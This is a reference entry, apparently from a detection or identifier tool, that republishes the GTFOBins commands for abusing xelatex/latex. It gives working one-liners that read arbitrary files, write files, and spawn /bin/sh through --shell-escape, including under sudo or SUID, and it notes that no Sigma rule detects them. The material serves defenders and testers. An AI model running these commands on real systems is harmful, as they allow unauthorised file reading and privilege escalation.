Identifier / Programs / Linux and Unix
xelatex
GTFOBins shell 1 ATT&CK technique 3 documented commands
How xelatex is abused
shell T1059.004 Command and Scripting Interpreter: Unix Shell
--shell-escapeEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for xelatex.
3 documented commands
GTFOBins documents xelatex with the commands of latex.
file-read unprivileged, with sudo, as SUID
The read file will be part of the PDF output.
latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}'
strings texput.dviIdentifyfile-write unprivileged, with sudo, as SUID
The file can only be written in the current directory, and the .tex extension is mandatory.
latex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}'Identifyshell unprivileged, with sudo, as SUID
latex --shell-escape '\immediate\write18{/bin/sh}'IdentifyNone of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for xelatex. The identifier reads the line of each that runs latex.